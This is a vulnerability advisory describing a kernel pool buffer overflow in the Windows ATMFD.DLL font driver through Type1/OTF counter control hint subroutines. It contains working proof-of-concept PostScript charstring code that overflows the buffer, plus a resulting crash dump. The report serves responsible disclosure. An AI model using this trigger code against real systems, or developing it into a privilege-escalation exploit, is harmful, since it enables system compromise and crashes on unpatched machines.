In Type1 and OTF (Type2) glyph CharStrings, it is possible to provide an arbitary number of parameters to the "Counter Control Hint" mechanism, using the special "othersubr 12" functionality to pass the data in packets of max. 22 integers, completed by a "othersubr 13" call with the remaining <= 22 arguments. To learn more about the mechanism, see section "Counter Control Hints" of [1].
Considering that the code responsible for implementing the special 12/13 subroutines found in the Adobe Type Manager Font Driver (ATMFD.DLL) in Windows does not perform any bounds checking, it is possible to overflow the constant-size pool-based buffer, thus corrupting pool headers and adjacent allocations. Such memory corruption can be potentially used to take over code execution flow and compromise the system security by allowing a local elevation of privileges.
It is not necessary to have thousands of othersubr 12 calls present in the font in verbatim to trigger the condition (although this is also feasible) - the font size can be greatly reduced by using nested subroutine calls to perform the attack. For example, the snippet of PostScript code shown below (consisting of 5 subroutines) inserts as many as 22 * (16 ^ 4) = 1441792 dwords of value 0x41414141 into the destination buffer:
---
dup 110 ## -| { 1094795585 1094795585 1094795585 1094795585
1094795585 1094795585 1094795585 1094795585
1094795585 1094795585 1094795585 1094795585
1094795585 1094795585 1094795585 1094795585
1094795585 1094795585 1094795585 1094795585
1094795585 1094795585 22 12 callother return } |
dup 111 ## -| { 0 6 callother
110 callsubr 110 callsubr 110 callsubr 110 callsubr
110 callsubr 110 callsubr 110 callsubr 110 callsubr
110 callsubr 110 callsubr 110 callsubr 110 callsubr
110 callsubr 110 callsubr 110 callsubr 110 callsubr
return } |
dup 112 ## -| { 0 6 callother
111 callsubr 111 callsubr 111 callsubr 111 callsubr
111 callsubr 111 callsubr 111 callsubr 111 callsubr
111 callsubr 111 callsubr 111 callsubr 111 callsubr
111 callsubr 111 callsubr 111 callsubr 111 callsubr
return } |
dup 113 ## -| { 0 6 callother
112 callsubr 112 callsubr 112 callsubr 112 callsubr
112 callsubr 112 callsubr 112 callsubr 112 callsubr
112 callsubr 112 callsubr 112 callsubr 112 callsubr
112 callsubr 112 callsubr 112 callsubr 112 callsubr
return } |
dup 114 ## -| { 0 6 callother
113 callsubr 113 callsubr 113 callsubr 113 callsubr
113 callsubr 113 callsubr 113 callsubr 113 callsubr
113 callsubr 113 callsubr 113 callsubr 113 callsubr
113 callsubr 113 callsubr 113 callsubr 113 callsubr
return } |
---
Since the resulting number of bytes is much greater than the size of destination buffer, the code triggers a system bugcheck, reliably illustrating the problem. An example bugcheck summary is shown below, while a full version can be found in "crash.txt".
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: a8e91000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 9975d22e, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
---
All versions of Windows up to 8.1 (regardless of bitness) are affected. The issue can be reproduced with both Type1 and OTF fonts. A Type1 Proof of Concept font is attached ("poc.pfm" + "poc.pfb"), together with its source code to be compiled with the type1 tool ("poc.pfa").
This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
References:
[1] "Type 1 Font Format Supplement, Technical Specification #5015, 15 May 1994", http://partners.adobe.com/public/developer/en/font/5015.Type1_Supp.pdf